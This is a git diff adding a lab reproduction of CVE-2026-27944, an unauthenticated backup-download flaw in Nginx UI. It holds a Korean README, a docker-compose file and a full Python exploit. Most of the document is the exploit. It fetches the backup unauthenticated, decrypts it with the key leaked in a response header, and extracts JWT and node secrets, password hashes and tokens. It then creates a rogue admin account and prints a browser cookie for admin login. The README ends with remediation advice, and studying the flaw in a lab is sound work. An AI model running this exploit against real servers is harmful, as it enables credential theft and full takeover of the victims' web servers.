diff --git a/nginx-ui/CVE-2026-27944/1.png b/nginx-ui/CVE-2026-27944/1.png new file mode 100644 index 000000000..752929c64 Binary files /dev/null and b/nginx-ui/CVE-2026-27944/1.png differ diff --git a/nginx-ui/CVE-2026-27944/2.png b/nginx-ui/CVE-2026-27944/2.png new file mode 100644 index 000000000..b0e6f1726 Binary files /dev/null and b/nginx-ui/CVE-2026-27944/2.png differ diff --git a/nginx-ui/CVE-2026-27944/3.png b/nginx-ui/CVE-2026-27944/3.png new file mode 100644 index 000000000..e8c82b5c0 Binary files /dev/null and b/nginx-ui/CVE-2026-27944/3.png differ diff --git a/nginx-ui/CVE-2026-27944/3.png:Zone.Identifier b/nginx-ui/CVE-2026-27944/3.png:Zone.Identifier new file mode 100644 index 000000000..d6c1ec682 Binary files /dev/null and b/nginx-ui/CVE-2026-27944/3.png:Zone.Identifier differ diff --git a/nginx-ui/CVE-2026-27944/4.png b/nginx-ui/CVE-2026-27944/4.png new file mode 100644 index 000000000..8c6c1b2bd Binary files /dev/null and b/nginx-ui/CVE-2026-27944/4.png differ diff --git a/nginx-ui/CVE-2026-27944/4.png:Zone.Identifier b/nginx-ui/CVE-2026-27944/4.png:Zone.Identifier new file mode 100644 index 000000000..d6c1ec682 Binary files /dev/null and b/nginx-ui/CVE-2026-27944/4.png:Zone.Identifier differ diff --git a/nginx-ui/CVE-2026-27944/5.png b/nginx-ui/CVE-2026-27944/5.png new file mode 100644 index 000000000..a4de1b636 Binary files /dev/null and b/nginx-ui/CVE-2026-27944/5.png differ diff --git a/nginx-ui/CVE-2026-27944/6.png b/nginx-ui/CVE-2026-27944/6.png new file mode 100644 index 000000000..9070fb1a8 Binary files /dev/null and b/nginx-ui/CVE-2026-27944/6.png differ diff --git a/nginx-ui/CVE-2026-27944/7.png b/nginx-ui/CVE-2026-27944/7.png new file mode 100644 index 000000000..0dedb1a7c Binary files /dev/null and b/nginx-ui/CVE-2026-27944/7.png differ diff --git a/nginx-ui/CVE-2026-27944/8.png b/nginx-ui/CVE-2026-27944/8.png new file mode 100644 index 000000000..c600a567b Binary files /dev/null and b/nginx-ui/CVE-2026-27944/8.png differ diff --git a/nginx-ui/CVE-2026-27944/9.png b/nginx-ui/CVE-2026-27944/9.png new file mode 100644 index 000000000..fc4ffcb47 Binary files /dev/null and b/nginx-ui/CVE-2026-27944/9.png differ diff --git a/nginx-ui/CVE-2026-27944/Dockerfile b/nginx-ui/CVE-2026-27944/Dockerfile new file mode 100644 index 000000000..e69de29bb diff --git a/nginx-ui/CVE-2026-27944/README.md b/nginx-ui/CVE-2026-27944/README.md new file mode 100644 index 000000000..ae0641e91 --- /dev/null +++ b/nginx-ui/CVE-2026-27944/README.md @@ -0,0 +1,121 @@ +# Nginx UI Unauthenticated Backup Download with Encryption Key Disclosure (CVE-2026-27944) + +**Contributors** + +- [안가영(@ankayeong)](https://github.com/ankayeong) + +## 취약점 요약 +CVE-2026-27944는 Nginx UI 2.3.3 이전 버전에 존재하는 인증 우회 취약점이다. + +Nginx UI는 Nginx 서버를 관리하기 위한 웹 기반 관리 도구이며, 서버 설정 관리, SSL 인증서 관리 등의 기능을 제공한다. + +해당 취약점은 `/api/backup` API를 통해 관리자 인증 없이 접근 가능하게 되어 발생한다. 인증되지 않은 공격자가 시스템 백업 파일을 생성하고 다운로드할 수 있다. + +또한 백업 응답 헤더에 포함된 `X-Backup-Security` 값에 AES-256 암호화에 필요한 Key와 IV 정보가 포함되어 있어 공격자는 백업 파일을 복호화할 수 있다. + +복호화된 백업 파일에는 Nginx UI 설정 파일(`app.ini`), 데이터베이스 파일(`database.db`) 등이 포함되어 있으며, 이를 통해 JWT Secret 및 Node Secret과 같은 인증 관련 정보를 획득할 수 있다. + +공격자는 획득한 **Node Secret**을 이용하여 관리자 API에 접근하고, 관리자 계정을 생성하여 Nginx UI 환경을 완전히 제어할 수 있다. + +
+ +## 환경 구성 + +### 실행 환경 +- OS: Ubuntu (WSL2) +- Docker +- Docker Compose +- Nginx UI 2.3.2 + +### 실행 방법 +명령어 +```bash + docker compose up -d + ``` +입력 +![](1.png) + +Docker 컨테이너가 정상적으로 실행되었는지 확인한다. + +`docker ps` 실행 후 웹 브라우저에서 `http://localhost:9000`로 접속한다. +![](2.png) + +
+ +## 취약 조건 +- Nginx UI 2.3.2 ver 사용 +- `/api/backup` API에 인증 없이 접근 가능 +- 백업 응답 헤더에 암호화 키 정보 노출 + +
+ +## 재현 절차 +1) Poc 실행에 필요한 Python 라이브러리를 설치한다. +```bash +sudo apt install python3-pip +``` + +2) 아래 명령어를 입력하여 PoC를 실행한다. +```bash +python3 poc.py -u http://localhost:9000 --create-user hacker +``` +![](3.png) +![](4.png) + +3) 위의 스크립트 실행이 완료되면 출력된 document.cookie 값을 Nginx UI 로그인 화면의 브라우저 개발자 콘솔(F12)에 붙여넣는다. 그다음 새로고침 + +
+ +## PoC 코드 +1) 인증 없이 백업 다운로드 +![](code1.png) +- `/api/backup`에 인증 없이 요청 +- backup.zip 다운로드 +- 응답 헤더에서 X-Backup-Security 획득 + +2) AES Key와 IV 추출 +![](code2.png) +응답 헤더에 포함된 Key:IV를 분리한 후 Base64를 디코딩하여 실제 AES Key와 IV를 얻는다. + +3) 백업 복호화 +![](code3.png) +- 앞에서 얻은 AES Key와 IV를 이용하여 backup.zip 내부의 모든 파일을 복호화한다. 복호화 후 app.ini, database.db 등을 확인할 수 있다. + +4) Node Secret 추출 +![](code4.png) +![](code5.png) +복호화된 app.ini에서 Node Secret값을 읽는다. 이 값은 이후 관리자 API 인증에 사용된다. + +5) 관리자 API 접근 +![](code6.png) +Node Secret을 HTTP 헤더에 넣어 관리자 API에 접근한다. 그럼 정상적인 인증 과정 없이 관리자 권한을 획득할 수 있다. + +6) JWT 토큰 획득 +![](code7.png) +생성한 관리자 계정으로 로그인한 뒤 서버가 발급한 JWT Token을 받아온다. JWT를 브라우저 Cookie에 저장하면 관리자 페이지에 로그인된다. + +
+ +## 실행 결과 +1) 응답 헤더에서 AES Key와 IV 값 확인 가능 +![](5.png) + +2) 1번 값 이용하여 백업 파일 복호화 +JWT Secret / Node Secret / Crypto Secret 값 +![](6.png) + +관리자 계정 정보 +![](7.png) + +3) Node Secret 이용하여 관리자 API 접근 시도 + +4) PoC 실행 옵션으로 지정한 `hacker` 계정 생성됨. 해당 계정으로 관리자 페이지 접근 가능 +![](8.png) +![](9.png) + +
+ +## 대응 방안 +- Nginx UI 최신 버전을 사용한다. +- 백업 관련 API에 인증 검증을 적용한다. +- 응답 헤더에 암호화 키와 같은 민감 정보를 포함하지 않도록 수정한다. \ No newline at end of file diff --git a/nginx-ui/CVE-2026-27944/code1.png b/nginx-ui/CVE-2026-27944/code1.png new file mode 100644 index 000000000..87d3b79be Binary files /dev/null and b/nginx-ui/CVE-2026-27944/code1.png differ diff --git a/nginx-ui/CVE-2026-27944/code2.png b/nginx-ui/CVE-2026-27944/code2.png new file mode 100644 index 000000000..2402f3e6e Binary files /dev/null and b/nginx-ui/CVE-2026-27944/code2.png differ diff --git a/nginx-ui/CVE-2026-27944/code3.png b/nginx-ui/CVE-2026-27944/code3.png new file mode 100644 index 000000000..b4c6f1082 Binary files /dev/null and b/nginx-ui/CVE-2026-27944/code3.png differ diff --git a/nginx-ui/CVE-2026-27944/code4.png b/nginx-ui/CVE-2026-27944/code4.png new file mode 100644 index 000000000..1b3eb1008 Binary files /dev/null and b/nginx-ui/CVE-2026-27944/code4.png differ diff --git a/nginx-ui/CVE-2026-27944/code5.png b/nginx-ui/CVE-2026-27944/code5.png new file mode 100644 index 000000000..48289b022 Binary files /dev/null and b/nginx-ui/CVE-2026-27944/code5.png differ diff --git a/nginx-ui/CVE-2026-27944/code6.png b/nginx-ui/CVE-2026-27944/code6.png new file mode 100644 index 000000000..5956003f4 Binary files /dev/null and b/nginx-ui/CVE-2026-27944/code6.png differ diff --git a/nginx-ui/CVE-2026-27944/code7.png b/nginx-ui/CVE-2026-27944/code7.png new file mode 100644 index 000000000..70cd4f521 Binary files /dev/null and b/nginx-ui/CVE-2026-27944/code7.png differ diff --git a/nginx-ui/CVE-2026-27944/docker-compose.yml b/nginx-ui/CVE-2026-27944/docker-compose.yml new file mode 100644 index 000000000..f984a6ef9 --- /dev/null +++ b/nginx-ui/CVE-2026-27944/docker-compose.yml @@ -0,0 +1,7 @@ +services: + web: + image: vulhub/nginx-ui:2.3.2 + ports: + - "9000:9000" + environment: + NGINX_UI_NODE_SKIP_INSTALLATION: "true" diff --git a/nginx-ui/CVE-2026-27944/poc.py b/nginx-ui/CVE-2026-27944/poc.py new file mode 100644 index 000000000..81e328d6f --- /dev/null +++ b/nginx-ui/CVE-2026-27944/poc.py @@ -0,0 +1,302 @@ +#!/usr/bin/env python3 +""" +CVE-2026-27944 - Nginx UI Unauthenticated Backup Download with Encryption Key Disclosure + +본 PoC는 전체 공격 과정을 단계별로 시연한다.: +1. 인증 없이 암호화된 백업 파일을 다운로드한다. +2. X-Backup-Security 응답 헤더에서 AES-256 Key와 IV 값을 추출한다. +3. 백업 압축 파일을 복호화한다. +4. app.ini 파일에서 Node Secret 값을 추출한다. +5. X-Node-Secret 헤더를 사용하여 관리자 API에 접근한다. +6. 관리자 비밀번호를 변경하고 로그인하여 브라우저 접근을 위한 JWT Token을 획득한다. +""" + +import argparse +import base64 +import configparser +import hashlib +import io +import json +import os +import secrets +import sqlite3 +import string +import struct +import sys +import tempfile +import time +import urllib.request +import zipfile +from pathlib import Path + +try: + from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes + from cryptography.hazmat.primitives.asymmetric import padding as asym_padding + from cryptography.hazmat.primitives import serialization +except ImportError: + print("Please install cryptography: pip install cryptography") + sys.exit(1) + + +#AES-CBC 방식으로 복호화하는 함수 +def aes_cbc_decrypt(data: bytes, key: bytes, iv: bytes) -> bytes: + """PKCS7 패딩 제거를 포함한 AES-256-CBC 데이터 복호화""" + cipher = Cipher(algorithms.AES(key), modes.CBC(iv)) + decryptor = cipher.decryptor() + decrypted = decryptor.update(data) + decryptor.finalize() + pad_len = decrypted[-1] + return decrypted[:-pad_len] + + +def download_backup(target: str) -> tuple[bytes, str]: + """백업 다운로드하고 (백업 데이터, 보안 헤더) 반환""" + url = f"{target}/api/backup" #ex)http://localhost:9000/api/backup + print(f"[*] Requesting backup from {url}") + req = urllib.request.Request(url) + resp = urllib.request.urlopen(req, timeout=15) + security = resp.headers.get("X-Backup-Security", "") + data = resp.read() + print(f"[+] Downloaded backup: {len(data)} bytes") + print(f"[+] X-Backup-Security: {security}") + return data, security #(백업파일, 헤더값) 반환 + + +#AES key, IV 추출 +def parse_security_header(header: str) -> tuple[bytes, bytes]: + """X-backup-Security 헤더를 분석하여 Key와 IV를 bytes 형태로 변환""" + key_b64, iv_b64 = header.split(":") + key = base64.b64decode(key_b64) #b64decode() = Base64문자열을 원래의 byte 데이터로 되돌리는 함수 + iv = base64.b64decode(iv_b64) + print(f"[+] AES Key ({len(key)*8}-bit): {key.hex()}") + print(f"[+] AES IV ({len(iv)*8}-bit): {iv.hex()}") #보통 16byte(128bit) + return key, iv + + +def decrypt_backup(zip_data: bytes, key: bytes, iv: bytes) -> dict[str, bytes]: + """백업 ZIP 아카이브의 모든 파일 해독""" + result = {} + with zipfile.ZipFile(io.BytesIO(zip_data)) as zf: #io.BytesIO() = 메모리에 있는 데이터를 파일처럼 사용할 수 있게 만듦 + for name in zf.namelist(): + encrypted = zf.read(name) + try: + decrypted = aes_cbc_decrypt(encrypted, key, iv) + result[name] = decrypted + print(f"[+] Decrypted: {name} ({len(decrypted)} bytes)") + except Exception as e: + print(f"[-] Failed to decrypt {name}: {e}") + return result + + +def extract_secrets(decrypted_files: dict[str, bytes], output_dir: str) -> dict: + """복호화된 nginx-ui.zip에서 secrets 추출""" + secrets = {} #여기에 JWT Secret, Node Secret Crypto Secret, 사용자 정보 저장 + + if "nginx-ui.zip" not in decrypted_files: + print("[-] nginx-ui.zip not found in backup") + return secrets + + with zipfile.ZipFile(io.BytesIO(decrypted_files["nginx-ui.zip"])) as zf: + # app.ini 추출 + if "app.ini" in zf.namelist(): + ini_data = zf.read("app.ini").decode() + ini_path = os.path.join(output_dir, "app.ini") + Path(ini_path).write_text(ini_data) + + config = configparser.ConfigParser() #ini파일을 쉽게 읽게 해줌 + config.read_string(ini_data) + + secrets["jwt_secret"] = config.get("app", "JwtSecret", fallback="") #ex)[app]JwtSecret=12345에서 12345를 가져옴 + secrets["node_secret"] = config.get("node", "Secret", fallback="") + secrets["crypto_secret"] = config.get("crypto", "Secret", fallback="") + + print(f"\n[+] === Extracted Secrets from app.ini ===") + print(f" JwtSecret: {secrets['jwt_secret']}") + print(f" Node Secret: {secrets['node_secret']}") + print(f" Crypto Secret: {secrets['crypto_secret']}") + + # 데이터베이스 추출 + if "database.db" in zf.namelist(): + db_data = zf.read("database.db") + db_path = os.path.join(output_dir, "database.db") + Path(db_path).write_bytes(db_data) + + conn = sqlite3.connect(db_path) + cursor = conn.cursor() #SQL 명령을 실행하는 객체 + + print(f"\n[+] === Users from database ===") + try: + for row in cursor.execute("SELECT id, name, password FROM users"): + print(f" ID={row[0]} Name={row[1]} Password={row[2]}") + secrets.setdefault("users", []).append({ + "id": row[0], "name": row[1], "password_hash": row[2] + }) + except sqlite3.OperationalError: + print(" (no users table found)") + + print(f"\n[+] === Active Auth Tokens ===") + try: + tokens = list(cursor.execute( + "SELECT user_id, token, short_token, expired_at FROM auth_tokens" + )) + if tokens: + for row in tokens: + print(f" UserID={row[0]} Token={row[1][:40]}... Expires={row[3]}") + secrets.setdefault("tokens", []).append({ + "user_id": row[0], "token": row[1], + "short_token": row[2], "expired_at": row[3] + }) + else: + print(" (no active tokens)") + except sqlite3.OperationalError: + print(" (no auth_tokens table found)") + + conn.close() + + return secrets + + +# 탈취한 정보로 관리자 API에 접근 +def exploit_node_secret(target: str, node_secret: str): + """admin API에 접근하기 위해 X-Node-Secret 사용""" + print(f"\n[*] === Exploiting with X-Node-Secret ===") + + url = f"{target}/api/users" + req = urllib.request.Request(url, headers={"X-Node-Secret": node_secret}) + try: + resp = urllib.request.urlopen(req, timeout=10) + data = json.loads(resp.read()) #loads() = JSON형식의 문자열을 딕셔너리, 리스트로 바꿈 + print(f"[+] Admin API access successful!") + print(f"[+] Response from {url}:") + print(json.dumps(data, indent=2)) #dumps = 딕셔너리/리스트를 JSON 형식의 문자열로 변환, indent = 들여쓰기 + return True + except urllib.error.HTTPError as e: + print(f"[-] Failed: HTTP {e.code} - {e.read().decode()}") + return False + + +def obtain_admin_token(target: str, node_secret: str, username: str = "hacker") -> str: + """X-Node-Secret을 통해 새 관리자 계정을 생성한 다음 로그인하여 JWT 토큰을 얻는다.""" + print(f"\n[*] === Obtaining Admin JWT Token ===") + + # 랜덤 비밀번호 생성(16글자) + password = "".join(secrets.choice(string.ascii_letters + string.digits) for _ in range(16)) + + # Step 1: 관리자 계정 생성 + print(f"[*] Creating new admin user '{username}' via X-Node-Secret...") + body = json.dumps({"name": username, "password": password}).encode() + req = urllib.request.Request( + f"{target}/api/users", data=body, method="POST", + headers={"Content-Type": "application/json", "X-Node-Secret": node_secret}, + ) + try: + resp = urllib.request.urlopen(req, timeout=10) + user_data = json.loads(resp.read()) + print(f"[+] User '{username}' created (ID={user_data['id']}), password: {password}") + except urllib.error.HTTPError as e: + print(f"[-] Failed to create user: HTTP {e.code} - {e.read().decode()}") + return "" + + # Step 2: RSA 공개 키 요청 + print(f"[*] Fetching RSA public key...") + body = json.dumps({ + "timestamp": int(time.time()), #현재시간 초단위로 구함 + "fingerprint": hashlib.sha256(b"poc").hexdigest(), + }).encode() + req = urllib.request.Request( + f"{target}/api/crypto/public_key", data=body, + headers={"Content-Type": "application/json"}, + ) + try: + resp = urllib.request.urlopen(req, timeout=10) + result = json.loads(resp.read()) + pub_key = serialization.load_pem_public_key(result["public_key"].encode()) #문자열 형태의 공개키를 RSA객체로 변환 + nonce = result.get("nonce", "") #nonce=한 번만 사용하는 임시 값. 재전송 공격 막기 위함. + except Exception as e: + print(f"[-] Failed to get public key: {e}") + return "" + + # Step 3: 로그인 + print(f"[*] Logging in as '{username}'...") + params = json.dumps({"name": username, "password": password, "nonce": nonce}).encode() + encrypted = pub_key.encrypt(params, asym_padding.PKCS1v15()) #로그인 정보 암호화 + body = json.dumps({"encrypted_params": base64.b64encode(encrypted).decode()}).encode() + req = urllib.request.Request( #로그인 요청 + f"{target}/api/login", data=body, + headers={"Content-Type": "application/json"}, + ) + try: + resp = urllib.request.urlopen(req, timeout=10) + data = json.loads(resp.read()) + token = data["token"] + print(f"[+] Login successful! JWT token obtained.") + return token #JWT 토큰(document.cookie)을 브라우저(F12)에 복붙->로그인 + except urllib.error.HTTPError as e: + print(f"[-] Login failed: HTTP {e.code} - {e.read().decode()}") + return "" + + +def main(): + parser = argparse.ArgumentParser( + description="CVE-2026-27944 - Nginx UI Unauthenticated Backup Exploit" + ) + parser.add_argument("-u", "--url", required=True, + help="Target URL (e.g. http://localhost:9000)") + parser.add_argument("-o", "--output", default=None, + help="Output directory for decrypted files (default: temp dir)") + parser.add_argument("--create-user", metavar="USERNAME", default=None, + help="Create a new admin user and obtain JWT token for browser access") + args = parser.parse_args() + + target = args.url.rstrip("/") + output_dir = args.output or tempfile.mkdtemp(prefix="nginx-ui-backup-") + os.makedirs(output_dir, exist_ok=True) + + print(f"[*] Target: {target}") + print(f"[*] Output: {output_dir}\n") + + # Step 1: 백업파일 다운로드 + zip_data, security_header = download_backup(target) + if not security_header: + print("[-] No X-Backup-Security header found. Target may be patched.") + sys.exit(1) + + # 생 백업파일 저장 + backup_path = os.path.join(output_dir, "backup.zip") + Path(backup_path).write_bytes(zip_data) + + # Step 2: 암호화 키 파싱 + key, iv = parse_security_header(security_header) + + # Step 3: 백업파일 복호화 + decrypted_files = decrypt_backup(zip_data, key, iv) + + # Step 4: secrets 추출 + secrets = extract_secrets(decrypted_files, output_dir) + + # Step 5: Node Secret 이용 + node_secret = secrets.get("node_secret", "") + if node_secret: + exploit_node_secret(target, node_secret) + else: + print("\n[-] No Node Secret found, cannot exploit further") + + # Step 6: 선택적으로 새 관리자 생성하고 JWT 토큰 얻음 + token = "" + if node_secret and args.create_user: + token = obtain_admin_token(target, node_secret, args.create_user) + + # 요약 + print(f"\n{'='*60}") + print(f"[+] Exploitation complete!") + print(f"[+] Decrypted files saved to: {output_dir}") + if node_secret: + print(f"[+] Admin API: curl -H 'X-Node-Secret: {node_secret}' {target}/api/users") + if token: + print(f"[+] JWT Token: {token}") + print(f"[+] Browser access: paste the following in browser console (F12):") + print(f' document.cookie="token={token};path=/"') + print(f" Then refresh the page to enter admin panel.") + + +if __name__ == "__main__": + main()